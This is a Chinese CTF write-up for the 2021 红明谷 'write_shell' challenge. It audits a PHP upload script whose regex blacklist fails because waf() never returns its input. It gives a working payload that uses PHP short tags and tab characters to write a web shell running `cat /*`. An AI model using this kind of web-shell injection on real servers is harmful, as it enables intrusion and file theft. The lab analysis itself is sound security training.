[红明谷CTF 2021]write_shell

打开靶机

发现源代码已经写在页面上

代码审计

第一段,check函数

php 复制代码
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

功能:用正则表达式过滤输入内容,禁止包含以下字符 / 字符串(不区分大小写):

引号 '、空格 、下划线 _php、分号 ;、波浪线 ~、异或 ^、加号 +eval、大括号 {}

第二段,waf函数

php 复制代码
function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

功能:如果输入是数组,递归处理每个元素;否则调用 check() 过滤。

致命 bug :函数没有 return 语句!这意味着经过 waf() 处理后,输入内容不会被返回,过滤完全失效。

第三段,目录创建

php 复制代码
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}

功能:根据访问者的 IP 地址($_SERVER['REMOTE_ADDR'])生成一个 MD5 哈希值,在 sandbox/ 目录下创建专属子目录。

第四段,核心主程序,文件上传

php 复制代码
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}

功能:通过 GET 参数 action 控制行为:

action=pwd:输出当前用户的专属目录路径。

action=upload:获取 GET 参数 data,调用 waf() 过滤(实际无效),然后将 data 写入目录下的 index.php

访问当前用户专属目录路径

进行文件上传

要执行php命令就要用<?php,但php被禁用了,这里就需要使用php的短标签<? ?>,由于空格也被禁用了,我们可以用${IFS}来替代

<? echo '标准短标签'; ?>

<?= '等效于echo的短标签' ?>

<% echo 'ASP风格标签' %>

<script language="php"> echo '长格式标签' </script>

注意:<?=在PHP 5.4+中始终可用,无需开启short_open_tag选项

php 复制代码
?action=upload&data=<?echo%09`cat%09/*`?>

访问文件上传的路径

参考

BUUCTF--红明谷CTF 2021write_shell

红明谷CTF 2021 write_shell通关秘籍:PHP短标签与反引号命令执行的巧妙结合

相关推荐
AugustRed14 小时前
Linux 运维常用命令大全(超全速查表)
运维·网络·php
剑神一笑20 小时前
Linux lsof 命令深度解析:从文件描述符到进程追踪
linux·运维·php
BingoGo20 小时前
免费可商用 PHP 管理后台 CatchAdmin V5.3.1 发布 后台打包直降 5s 内
后端·php
JaguarJack21 小时前
免费可商用 PHP 管理后台 CatchAdmin V5.3.1 发布 后台打包直降 5s 内
后端·php·laravel
ELI_He99921 小时前
Laravel Sail
php·laravel
傻啦嘿哟1 天前
解决DNS污染:防止OpenClaw解析API域名到虚假地址
开发语言·php
dualven_in_csdn1 天前
cmd切换到powershell (一)
服务器·开发语言·php
Cheng小攸1 天前
实验九:防火墙安全认证和审计实验
开发语言·安全·php
沄媪2 天前
CSRF 跨站请求伪造
前端·ctf·csrf
会Tk矩阵群控的小木2 天前
云控系统在TikTok多账号管理中的核心应用与技术实现
开发语言·php·开源软件·个人开发·tk矩阵